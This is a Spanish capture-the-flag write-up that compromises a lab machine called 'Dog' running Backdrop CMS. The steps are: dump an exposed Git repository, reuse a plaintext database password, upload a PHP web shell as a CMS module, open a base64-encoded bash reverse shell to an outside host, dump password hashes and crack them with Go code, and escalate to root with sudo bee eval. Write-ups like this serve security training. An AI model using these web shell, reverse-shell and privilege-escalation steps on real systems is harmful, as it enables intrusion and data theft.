Dog
9 minutos de lectura

bee
como root
usando sudo
, que nos permitirá escalar privilegios ejecutando código PHP arbitrario- SO: Linux
- Dificultad: Fácil
- Dirección IP: 10.10.11.58
- Fecha: 08 / 03 / 2025
Escaneo de puertos
# Nmap 7.95 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.58 -p 22,80
Nmap scan report for 10.10.11.58
Host is up (0.024s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
| 256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
|_ 256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-git:
| 10.10.11.58:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: todo: customize url aliases. reference:https://docs.backdro...
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.md /web.config /admin
| /comment/reply /filter/tips /node/add /search /user/register
|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Home | Dog
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 12.42 seconds
La máquina tiene abiertos los puertos 22 (SSH) y 80 (HTTP).
Enumeración
Si vamos a http://10.10.11.58
, veremos el siguiente sitio web:
También tenemos un formulario de inicio de sesión, pero todavía no tenemos credenciales:
Hay un usuario llamado dogBackDropSystem
, que es el autor de algunas publicaciones. También podemos verificar que este usuario existe porque este Backdrop CMS permite la enumeración de usuarios:
También hay una sección “About” donde podemos ver el dominio dog.htb
:
Con esto, podemos tratar de enumerar otros subdominios, pero no parece haber subdominios.
Por otro lado, podemos ver un archivo robots.txt
:
Aquí tenemos algunas rutas interesantes para investigar, y encontramos que el listado de directorios está habilitado:
Podríamos usar wget -r
o dirListDump
para volcar todos estos archivos para un análisis posterior.
Enumeración de Git
Sin embargo, la salida de nmap
muestra que tenemos un repositorio de Git expuesto en http://10.10.11.58/.git/
, que es mucho mejor porque podemos descargar archivos PHP en texto claro. Para esto, podemos usar git-dumper
:
$ git-dumper http://10.10.11.58 git
[-] Testing http://10.10.11.58/.git/HEAD [200]
[-] Testing http://10.10.11.58/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://10.10.11.58/.gitignore [404]
[-] http://10.10.11.58/.gitignore responded with status code 404
[-] Fetching http://10.10.11.58/.git/ [200]
...
[-] Fetching http://10.10.11.58/.git/objects/ff/e2bdb70e3508a43577a1e63d8f3e0eb1954bed [200]
[-] Sanitizing .git/config
[-] Running git checkout .
Actualizadas 2873 rutas desde el índice
$ tree -L 2 git
git
├── LICENSE.txt
├── README.md
├── core
│ ├── authorize.php
│ ├── cron.php
│ ├── includes
│ ├── install.php
│ ├── layouts
│ ├── misc
│ ├── modules
│ ├── profiles
│ ├── scripts
│ ├── themes
│ └── update.php
├── files
│ ├── README.md
│ ├── config_83dddd18e1ec67fd8ff5bba2453c7fb3
│ ├── css
│ ├── field
│ ├── js
│ └── styles
├── index.php
├── layouts
│ └── README.md
├── robots.txt
├── settings.php
├── sites
│ ├── README.md
│ └── sites.php
└── themes
└── README.md
18 directories, 14 files
Un buen archivo para leer es settings.php
porque tal vez encontremos contraseñas de texto claro para conexiones de base de datos. De hecho, encontramos esta URI de conexión a MySQL:
$database = 'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop';
Podemos probar esta contraseña (BackDropJ2024DS2024
) con el usuario dogBackDropSystem
, pero no funciona…
Si buscamos direcciones de correo electrónico de la forma @dog.htb
, encontraremos más información:
$ grep -ir @dog.htb git
git/files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active/update.settings.json: "tiffany@dog.htb"
git/.git/logs/HEAD:0000000000000000000000000000000000000000 8204779c764abd4c9d8d95038b6d22b6a7515afa root <dog@dog.htb> 1738963331 +0000 commit (initial): todo: customize url aliases. reference:https://docs.backdropcms.org/documentation/url-aliases
git/.git/logs/refs/heads/master:0000000000000000000000000000000000000000 8204779c764abd4c9d8d95038b6d22b6a7515afa root <dog@dog.htb> 1738963331 +0000 commit (initial): todo: customize url aliases. reference:https://docs.backdropcms.org/documentation/url-aliases
Y parece que tenemos otro nombre de usuario: tiffany
. ¡Y la contraseña funciona! En realidad, este archivo también está disponible para descargar desde el servidor:
Acceso a la máquina
Entonces, ahora estamos como tiffany
, que es un usuario administrador del CMS:
Podemos ver que estamos tratando con Backdrop CMS versión 1.27.1:
Hay exploits públicos para obtener ejecución remota de comandos (RCE) una vez que estamos autenticados como administrador.Estos abusan del hecho de que podemos instalar manualmente nuevos módulos para cargar una web shell en PHP utilizando un archivo comprimido.
Podemos intentar hacerlo manualmente yendo a “Functionality” > “Install new modules”:
Aquí vemos que los archivos Zip no funcionan, por lo que necesitamos usar otro método de compresión como .tar.gz
.Tendremos que usar los siguientes archivos:
shell.info
type = module
name = Web shell
description = PHP web shell
package = Layouts
tags[] = Blocks
tags[] = Site Architecture
version = BACKDROP_VERSION
backdrop = 1.x
configure = admin/structure/block
shell.php
:
<?php system($_GET['cmd']) ?>
Ahora, comprimimos los dos archivos y los subimos como un nuevo módulo:
$ tar cfvz shell.tar.gz shell/shell.info shell/shell.php
a shell/shell.info
a shell/shell.php
Con esto, tendremos una web shell:
$ curl '10.10.11.58/modules/shell/shell.php?cmd=whoami'
www-data
Necesitamos ser rápidos porque la web shell se elimina periódicamente, por lo que tal vez sea recomendable automatizar el proceso o utilizar un exploit público como Backdrop-CMS-Version-1.27.1-Authenticated-Remote-Code-Execution.
Sea como sea, obtengamos una reverse shell:
$ echo -n 'bash -i >& /dev/tcp/10.10.16.15/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMTUvNDQ0NCAwPiYx
$ curl 10.10.11.58/modules/shell/shell.php -G --data-urlencode 'cmd=echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMTUvNDQ0NCAwPiYx | base64 -d | bash'
$ nc -nlvp 4444
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.58:41436.
bash: cannot set terminal process group (909): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dog:/var/www/html/modules/shell$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@dog:/var/www/html/modules/shell$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@dog:/var/www/html/modules/shell$ export TERM=xterm SHELL=/bin/bash
www-data@dog:/var/www/html/modules/shell$ stty rows 53 cols 171
Enumeración del sistema
Hay dos usuarios del sistema:
www-data@dog:/var/www/html/modules/shell$ ls /home
jobert johncusack
Nos gustaría acceder como uno de estos usuarios porque tendremos más privilegios. Para esto, necesitaremos encontrar credenciales.
De hecho, ¿recuerdas la base de datos MySQL? Sí, podemos echar un vistazo a la tabla users
para encontrar algunos hashes de contraseña:
www-data@dog:/var/www/html/modules/shell$ mysql --user=root --password=BackDropJ2024DS2024 --database=backdrop
mysql: [Warning] Using a password on the command line interface can be insecure.
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 260656
Server version: 8.0.41-0ubuntu0.20.04.1 (Ubuntu)
Copyright (c) 2000, 2025, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> describe users;
+------------------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+------------------+--------------+------+-----+---------+-------+
| uid | int unsigned | NO | PRI | 0 | |
| name | varchar(60) | NO | UNI | | |
| pass | varchar(128) | NO | | | |
| mail | varchar(254) | YES | MUL | | |
| signature | varchar(255) | NO | | | |
| signature_format | varchar(255) | YES | | NULL | |
| created | int | NO | MUL | 0 | |
| changed | int | NO | MUL | 0 | |
| access | int | NO | MUL | 0 | |
| login | int | NO | | 0 | |
| status | tinyint | NO | | 0 | |
| timezone | varchar(32) | YES | | NULL | |
| language | varchar(12) | NO | | | |
| picture | int | NO | MUL | 0 | |
| init | varchar(254) | YES | | | |
| data | longblob | YES | | NULL | |
+------------------+--------------+------+-----+---------+-------+
16 rows in set (0.01 sec)
mysql> select name, pass, mail from users;
+-------------------+---------------------------------------------------------+----------------------------+
| name | pass | mail |
+-------------------+---------------------------------------------------------+----------------------------+
| | | |
| jPAdminB | $S$E7dig1GTaGJnzgAXAtOoPuaTjJ05fo8fH9USc6vO87T./ffdEr/. | jPAdminB@dog.htb |
| jobert | $S$E/F9mVPgX4.dGDeDuKxPdXEONCzSvGpjxUeMALZ2IjBrve9Rcoz1 | jobert@dog.htb |
| dogBackDropSystem | $S$EfD1gJoRtn8I5TlqPTuTfHRBFQWL3x6vC5D3Ew9iU4RECrNuPPdD | dogBackDroopSystem@dog.htb |
| john | $S$EYniSfxXt8z3gJ7pfhP5iIncFfCKz8EIkjUD66n/OTdQBFklAji. | john@dog.htb |
| morris | $S$E8OFpwBUqy/xCmMXMqFp3vyz1dJBifxgwNRMKktogL7VVk7yuulS | morris@dog.htb |
| axel | $S$E/DHqfjBWPDLnkOP5auHhHDxF4U.sAJWiODjaumzxQYME6jeo9qV | axel@dog.htb |
| rosa | $S$EsV26QVPbF.s0UndNPeNCxYEP/0z2O.2eLUNdKW/xYhg2.lsEcDT | rosa@dog.htb |
| tiffany | $S$EEAGFzd8HSQ/IzwpqI79aJgRvqZnH4JSKLv2C83wUphw0nuoTY8v | tiffany@dog.htb |
+-------------------+---------------------------------------------------------+----------------------------+
9 rows in set (0.00 sec)
Esto parece prometedor, porque tenemos a jobert
y a john
(probablemente johncusack
). Entonces, analicemos cómo funciona el algoritmo de hash.
Todo lo que necesitamos saber está en core/includes/password.inc
. En resumen, utiliza una sal aleatoria de 8 bytes agregada a la contraseña en texto claro y SHA512. Luego, realiza 65536 hashes SHA512 iterados. Finalmente, codifica el hash como base64, pero usando el formato crypt, que es diferente del tradicional. Finalmente, agrega la información del hash y toma los primeros 55 caracteres.
Después de analizar esto, escribí un programa en Go para romper estos hashes. Solo mostraré las funciones relevantes:
const BASE64_ALPHABET = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
func b64e(input []byte) string {
count := len(input)
for len(input)%3 != 0 {
input = append(input, byte(0))
}
output := make([]byte, len(input)*4/3)
for i := 0; i < count; i += 3 {
value := int(input[i+2])<<16 | int(input[i+1])<<8 | int(input[i])
output[i*4/3] = BASE64_ALPHABET[value&0x3f]
output[i*4/3+1] = BASE64_ALPHABET[(value>>6)&0x3f]
output[i*4/3+2] = BASE64_ALPHABET[(value>>12)&0x3f]
output[i*4/3+3] = BASE64_ALPHABET[(value>>18)&0x3f]
}
return string(output[:(count*8+5)/6])
}
func doHash(password []byte, setting string) string {
count := 1 << strings.IndexByte(BASE64_ALPHABET, setting[3])
salt := []byte(setting[4 : 4+8])
hash := sha512.Sum512(append(salt, password...))
h := append(hash[:], password...)
for range count {
copy(h, hash[:])
hash = sha512.Sum512(h)
}
return (setting[:12] + b64e(hash[:]))[:55]
}
Sin embargo, esta programa personalizado para romper estos hashes es inútil, porque podemos reutilizar la contraseña BackDropJ2024DS2024
en johncusack
, lo cual no tiene ningún sentido en mi opinión:
www-data@dog:/var/www/html/modules/shell$ cd /
www-data@dog:/$ su johncusack
Password:
johncusack@dog:/$ cd
johncusack@dog:~$ cat user.txt
fc1cd4fefe07082431b7ef6c74f0914c
Escalada de privilegios
Este usuario puede usar bee
com oroot
usando sudo
:
johncusack@dog:~$ sudo -l
[sudo] password for johncusack:
Matching Defaults entries for johncusack on dog:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User johncusack may run the following commands on dog:
(ALL : ALL) /usr/local/bin/bee
Echemos un vistazo a esto:
johncusack@dog:~$ bee
🐝 Bee
Usage: bee [global-options] <command> [options] [arguments]
Global Options:
--root
Specify the root directory of the Backdrop installation to use. If not set, will try to find the Backdrop installation automatically based on the current directory.
--site
Specify the directory name or URL of the Backdrop site to use (as defined in 'sites.php'). If not set, will try to find the Backdrop site automatically based on the current directory.
--base-url
Specify the base URL of the Backdrop site, such as https://example.com. May be useful with commands that output URLs to pages on the site.
--yes, -y
Answer 'yes' to questions without prompting.
--debug, -d
Enables 'debug' mode, in which 'debug' and 'log' type messages will be displayed (in addition to all other messages).
Commands:
...
ADVANCED
db-query
dbq
Execute a query using db_query().
eval
ev, php-eval
Evaluate (run/execute) arbitrary PHP code after bootstrapping Backdrop.
php-script
scr
Execute an arbitrary PHP file after bootstrapping Backdrop.
sql
sqlc, sql-cli, db-cli
Open an SQL command-line interface using Backdrop's database credentials.
Parece que podemos ejecutar código PHP arbitrario con eval
:
johncusack@dog:~$ sudo bee --root=/var/www/html eval 'echo "123\n"'
123
Entonces podemos obtener una shell como root
:
johncusack@dog:~$ sudo bee --root=/var/www/html eval 'system("bash")'
root@dog:/var/www/html# cat /root/root.txt
311910ced1bcaaff1a8ae81ca12abbac